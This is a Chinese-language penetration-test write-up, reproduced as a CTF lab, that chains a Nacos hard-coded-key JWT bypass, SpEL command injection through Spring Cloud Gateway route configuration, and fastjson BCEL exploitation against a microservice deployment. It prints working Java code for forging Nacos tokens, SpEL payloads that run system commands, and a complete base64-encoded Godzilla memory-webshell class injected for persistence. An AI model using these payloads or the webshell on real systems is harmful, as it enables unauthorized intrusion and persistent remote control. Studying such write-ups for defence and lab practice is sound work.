记一次对微服务架构的渗透测试

最近在一次渗透过程中遇到了微服务架构，打点进入之后在一个独立的docker中，该docker只负责某个单一的任务，如计划任务，订单操作等。之前对这种架构的渗透方法了解比较少，本文将记录这次渗透流程并在7BitsPlatform复现大致攻击路径。目前配套环境已上线7BitsPlatform，环境名为EsayMicroServices，为私有环境，流程较为简单，分值为300分。

NACOS认证绕过

前期通过docker中环境变量的信息搜集发现存在NACOS:

SPRING_CLOUD_NACOS_DISCOVERY_SERVERADDR   10.0.101.5:80

Nacos由阿里开发并开源，提供了一组简单易用的特性集，帮助用户快速实现动态服务发现、服务配置、服务元数据及流量管理。该系统主要用于集中配置微服务环境，内部可能存储一些内网数据库凭据等信息。

nacos最近出了认证绕过(QVD-2023-6271)和一个反序列化漏洞。反序列化漏洞主要是因为Hessian反序列化导致RCE，但只能打一次。不成功环境就坏了。先尝试认证绕过漏洞，主要是因为硬编码的key，使用该key生成jwt：

import io.jsonwebtoken.Claims;  
import io.jsonwebtoken.Jwts;  
import io.jsonwebtoken.io.Decoders;  
import io.jsonwebtoken.security.Keys;  
  
import java.nio.charset.StandardCharsets;  
import java.util.Date;  
  
public class main {  
    public static void main(String[] args) {  
        System.out.println(createToken("nacos"));  
    }  
  
    public static String createToken(String userName) {  
        String key = "";  
        long now = System.currentTimeMillis();  
        Date validity = new Date(now + 18000*1000L);  
  
        Claims claims = Jwts.claims().setSubject(userName);  
        return Jwts.builder().setClaims(claims).setExpiration(validity)  
                .signWith(Keys.hmacShaKeyFor(Decoders.BASE64.decode(key))).compact();  
    }  
}

新增pom.xml使用maven编译：

<?xml version="1.0" encoding="UTF-8"?>  
<project xmlns="http://maven.apache.org/POM/4.0.0"  
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">  
    <modelVersion>4.0.0</modelVersion>  
  
    <groupId>org.example</groupId>  
    <artifactId>getjwt</artifactId>  
    <version>1.0-SNAPSHOT</version>  
  
    <properties>  
        <maven.compiler.source>8</maven.compiler.source>  
        <maven.compiler.target>8</maven.compiler.target>  
    </properties>  
  
    <dependencies>  
        <dependency>  
            <groupId>io.jsonwebtoken</groupId>  
            <artifactId>jjwt-api</artifactId>  
            <version>0.10.7</version>  
        </dependency>  
        <dependency>  
            <groupId>io.jsonwebtoken</groupId>  
            <artifactId>jjwt-impl</artifactId>  
            <version>0.10.7</version>  
            <scope>runtime</scope>  
        </dependency>  
        <dependency>  
            <groupId>io.jsonwebtoken</groupId>  
            <artifactId>jjwt-jackson</artifactId>  
            <version>0.10.7</version>  
            <scope>runtime</scope>  
        </dependency>  
    </dependencies>  
  
    <build>  
        <plugins>  
            <plugin>  
                <groupId>org.springframework.boot</groupId>  
                <artifactId>spring-boot-maven-plugin</artifactId>  
                <executions>  
                    <execution>  
                        <goals>  
                            <goal>repackage</goal>  
                        </goals>  
                    </execution>  
                </executions>  
            </plugin>  
            <plugin>  
                <artifactId>maven-compiler-plugin</artifactId>  
                <configuration>  
                    <source>1.8</source>  
                    <target>1.8</target>  
                </configuration>  
            </plugin>  
        </plugins>  
    </build>  
</project>

生成key

成功绕过认证：

我们可以发现Nacos后台接口只依赖于get参数中的accesstoken。网上搜一搜基本就能得到所有的nacos接口了。可以通过用户相关接口加一个用户，通过界面更方便进行操作。

NACOS结合SpringCloudGateway

在Nacos中我们可以看到存在spring-cloud-gateway和spring-cloud-service这两个应用，查看spring-cloud-gateway的信息：

获取到服务的ip及端口，访问尝试并利用CVE-2022-22947，发现并不存在利用的端点：

其余和spring相关漏洞在没有开actuator接口的情况下也没有什么利用点，利用陷入僵局。此时发现一篇文章结合了nacos修改springboot配置文件的功能进而实现了rce：https://xz.aliyun.com/t/11493。

CVE-2022-22947漏洞原理简单来说就是通过/actuator/gateway/routes注册一个路由，注册路由的请求可以支持filters参数，可以新增一个filter，熟悉内存马的朋友肯定知道filter可以用于修饰响应或者请求，这里既然支持大概率可以造成代码执行，事实也是如此。后续通过通过spel进行任意代码执行，这个点是一个天然带回显的代码执行点。

借助nacos，我们不再需要/actuator/gateway/routes接口开放，可以直接通过修改yaml配置文件的方式，实现增加filters。我们新建一个测试yaml：

spring:  
  cloud:  
    gateway:  
      routes:  
        - id: exam  
          order: 0  
          uri: lb://spring-cloud-service  
          predicates:  
            - Path=/echo/**  
          filters:  
            - name: AddResponseHeader  
              args:  
                name: result  
                value: "7bits"

通过接口对原有配置文件进行修改:

发现成功触发filter，实现新增请求头的功能：

由于后端服务器不存在echo接口，所以返回503也是正常的。接下来就是在value的地方注入spel表达式

value: "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'id'}).getInputStream()))}"

成功执行：

至此我们成功获取的CloudGateway的权限。

SpringCloudGateway持久化

通过漏洞执行命令始终不是长久之计，修改路由比较明显，我们可以通过spel对目标植入内存马，已经有比较成熟的开源项目https://github.com/0730Nophone/CVE-2022-22947-。内存马class主要来自https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell/blob/main/GMemShell.java。

SpringCloudGateway实现内存马主要依赖requestMappingHandlerMapping的registerHandlerMethod方法注册控制器：

    public static String doInject(Object obj, String path) {  
        String msg;  
        try {  
            md5 = md5(pass + xc);  
            Method registerHandlerMethod = obj.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);  
            registerHandlerMethod.setAccessible(true);  
            Method executeCommand = GMemShell.class.getDeclaredMethod("cmd", ServerWebExchange.class);  
            RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).build();  
            registerHandlerMethod.invoke(obj, new GMemShell(), executeCommand, requestMappingInfo);  
            msg = "ok";  
        } catch (Exception e) {  
            e.printStackTrace();  
            msg = "error";  
        }  
        return msg;  
    }

在spel中可以利用以下代码加载任意class：

"#{T(org.springframework.cglib.core.ReflectUtils).defineClass('ms.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString(payload),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/gmem')}"}

使用完成的yaml注册路由：

spring:  
  cloud:  
    gateway:  
      routes:  
        - id: exam  
          order: 0  
          uri: lb://spring-cloud-service  
          predicates:  
            - Path=/fuck/**  
          filters:  
            - name: AddResponseHeader  
              args:  
                name: result  
                value: "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('ms.GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBeAoADQC2BwC3CgACALYJABIAuAoAAgC5CQASALoKAAIAuwoAEgC8CQASAL0KAA0AvggAcgcAvwcAwAcAwQcAwgoADADDCgAOAMQHAMUIAJ8HAMYHAMcKAA8AyAsAyQDKCgASALYKAA4AywgAzAcAzQoAGwDOCADPBwDQBwDRCgDSANMKANIA1AoAHgDVBwDWCACBBwCECQDXANgKANcA2QgA2goA2wDcBwDdCgAVAN4KACoA3woA2wDgCgDbAOEIAOIKAOMA5AoAFQDlCgDjAOYHAOcKAOMA6AoAMwDpCgAzAOoKABUA6wgA7AoADADtCADuCgAMAO8IAPAIAPEKAAwA8ggA8wgA9AgA9QgA9ggA9wsAFAD4EgAAAP4KAP8BAAcBAQkBAgEDCgBHAQQKABsBBQsBBgEHCgASAQgKABIBCQkAEgEKCAELCwEMAQ0KABIBDgsBDAEPCAEQBwERCgBUALYKAA0BEgoAFQETCgANALsKAFQBFAoAEgEVCgAVARYKAP8BFwcBGAoAXQC2CABlCAEZAQAFc3RvcmUBAA9MamF2YS91dGlsL01hcDsBAAlTaWduYXR1cmUBADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEABHBhc3MBABJMamF2YS9sYW5nL1N0cmluZzsBAANtZDUBAAJ4YwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAOTG1zL0dNZW1TaGVsbDsBAAhkb0luamVjdAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAVcmVnaXN0ZXJIYW5kbGVyTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA5leGVjdXRlQ29tbWFuZAEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAANtc2cBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQASTGphdmEvbGFuZy9PYmplY3Q7AQAEcGF0aAEADVN0YWNrTWFwVGFibGUHAM0HAMcBABBNZXRob2RQYXJhbWV0ZXJzAQALZGVmaW5lQ2xhc3MBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAApjbGFzc2J5dGVzAQACW0IBAA51cmxDbGFzc0xvYWRlcgEAGUxqYXZhL25ldC9VUkxDbGFzc0xvYWRlcjsBAAZtZXRob2QBAApFeGNlcHRpb25zAQABeAEAByhbQlopW0IBAAFjAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQABcwEAAW0BAAFaBwDFBwEaAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAB1MamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEAA3JldAEADGJhc2U2NEVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAJicwEABXZhbHVlAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAANjbWQBAF0oTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTspTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eTsBAAxidWZmZXJTdHJlYW0BAAJleAEABXBkYXRhAQAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZTsBABlSdW50aW1lVmlzaWJsZUFubm90YXRpb25zAQA1TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9Qb3N0TWFwcGluZzsBAAQvY21kAQANbGFtYmRhJGNtZCQxMQEARyhMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7KUxyZWFjdG9yL2NvcmUvcHVibGlzaGVyL01vbm87AQAGYXJyT3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAWYBAAJpZAEABGRhdGEBAChMb3JnL3NwcmluZ2ZyYW1ld29yay91dGlsL011bHRpVmFsdWVNYXA7AQAGcmVzdWx0AQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwcAtwEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEADkdNZW1TaGVsbC5qYXZhDABpAGoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAZQBmDAEbARwMAGgAZgwBHQEeDABnAJIMAGcAZgwBHwEgAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAQW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAEhASIMASMBJAEADG1zL0dNZW1TaGVsbAEAMG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZlci9TZXJ2ZXJXZWJFeGNoYW5nZQEAEGphdmEvbGFuZy9TdHJpbmcMASUBKAcBKQwBKgErDAEsAS0BAAJvawEAE2phdmEvbGFuZy9FeGNlcHRpb24MAS4AagEABWVycm9yAQAXamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXIBAAxqYXZhL25ldC9VUkwHAS8MATABMQwBMgEzDABpATQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHATUMATYAmQwBNwE4AQADQUVTBwEaDAE5AToBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjDAE7ATwMAGkBPQwBPgE/DAFAAUEBAANNRDUHAUIMATkBQwwBRAFFDAFGAUcBABRqYXZhL21hdGgvQmlnSW50ZWdlcgwBSAE8DABpAUkMAR0BSgwBSwEeAQAQamF2YS51dGlsLkJhc2U2NAwBTAFNAQAKZ2V0RW5jb2RlcgwBTgEiAQAOZW5jb2RlVG9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAFPAVABAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgwBUQFSAQAQQm9vdHN0cmFwTWV0aG9kcw8GAVMQAVQPBwFVEACpDAFWAVcHAVgMAVkBWgEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcBWwwBXAFdDABpAV4MAV8BHgcBYAwBYQFUDACcAJ0MAIkAigwAYQBiAQAHcGF5bG9hZAcBYgwBYwFUDACBAIIMAWQBZQEACnBhcmFtZXRlcnMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBZgFnDAFoAWkMAWoBPAwAlQCWDAFoAUoMAWsBbAEAEWphdmEvdXRpbC9IYXNoTWFwAQAQM2M2ZTBiOGE5YzE1MjI0YQEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAVwYXRocwEAB0J1aWxkZXIBAAxJbm5lckNsYXNzZXMBAGAoW0xqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsBAElvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyAQAFYnVpbGQBAEUoKUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAKShbTGphdmEvbmV0L1VSTDtMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQAxKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0OwEABmxlbmd0aAEAAygpSQEABnVwZGF0ZQEAByhbQklJKVYBAAZkaWdlc3QBAAYoSVtCKVYBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b1VwcGVyQ2FzZQEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAC2dldEZvcm1EYXRhAQAfKClMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwoBbQFuAQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsKABIBbwEABWFwcGx5AQAtKExtcy9HTWVtU2hlbGw7KUxqYXZhL3V0aWwvZnVuY3Rpb24vRnVuY3Rpb247AQAbcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vAQAHZmxhdE1hcAEAPChMamF2YS91dGlsL2Z1bmN0aW9uL0Z1bmN0aW9uOylMcmVhY3Rvci9jb3JlL3B1Ymxpc2hlci9Nb25vOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgEACmdldE1lc3NhZ2UBACZvcmcvc3ByaW5nZnJhbWV3b3JrL3V0aWwvTXVsdGlWYWx1ZU1hcAEACGdldEZpcnN0AQANamF2YS91dGlsL01hcAEAA2dldAEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAEanVzdAEAMShMamF2YS9sYW5nL09iamVjdDspTHJlYWN0b3IvY29yZS9wdWJsaXNoZXIvTW9ubzsHAXAMAXEBdAwAqACpAQAiamF2YS9sYW5nL2ludm9rZS9MYW1iZGFNZXRhZmFjdG9yeQEAC21ldGFmYWN0b3J5BwF2AQAGTG9va3VwAQDMKExqYXZhL2xhbmcvaW52b2tlL01ldGhvZEhhbmRsZXMkTG9va3VwO0xqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvaW52b2tlL01ldGhvZFR5cGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTtMamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGU7TGphdmEvbGFuZy9pbnZva2UvTWV0aG9kVHlwZTspTGphdmEvbGFuZy9pbnZva2UvQ2FsbFNpdGU7BwF3AQAlamF2YS9sYW5nL2ludm9rZS9NZXRob2RIYW5kbGVzJExvb2t1cAEAHmphdmEvbGFuZy9pbnZva2UvTWV0aG9kSGFuZGxlcwAhABIADQAAAAQACQBhAGIAAQBjAAAAAgBkAAkAZQBmAAAACQBnAGYAAAAJAGgAZgAAAAoAAQBpAGoAAQBrAAAALwABAAEAAAAFKrcAAbEAAAACAGwAAAAGAAEAAAAWAG0AAAAMAAEAAAAFAG4AbwAAAAkAcABxAAIAawAAAUgABwAG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'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/gmem')}"

访问注册的接口，执行注入内存马的操作。再访问内存马注册的路由，已成功注册：

使用客户端进行连接，成功维持权限：

攻击服务端

在分布式架构中，CloudGateway仅仅是充当转发的角色，主要业务并不在这台机器上实现。在机器上进行一系列的信息搜集后，未发现有效信息。自然而然想到拿到服务端的所有接口，看是否能找到服务端接口的未授权等漏洞。拿到客户端源码进行反编译，这里遇到ju-gui的一个问题，直接反编译jar包少了一个类：

而手工解包再反编译class就能获取正常情况：

从上面的类我们发现了后台接口http://spring-cloud-service/login，传递的数据类型为json。从nacos我们可以获取spring-cloud-service的ip及端口：

猜一猜后台接口参数，实战情况下客户端一般会存在一些结构体，可以构造出后端需要的参数。

看到这个功能点我们比较自然的会想到爆破、修改content-type为xml造成xxe、注入等漏洞。但这里我们发现客户端程序依赖存在fastjson，很有可能后台也存在fastjson。直接尝试从最老版本的fastjson开始利用，直接盲打：

请求未开放端口，发现长时间不响应，大概率存在漏洞。dns/http请求外网服务器并无响应，疑似不出网环境。

针对fastjson不出网环境，常见的利用一般为bcel或者c3p0,尝试bcel利用：

直接成功执行了命令。在服务器根目录获取到了flag。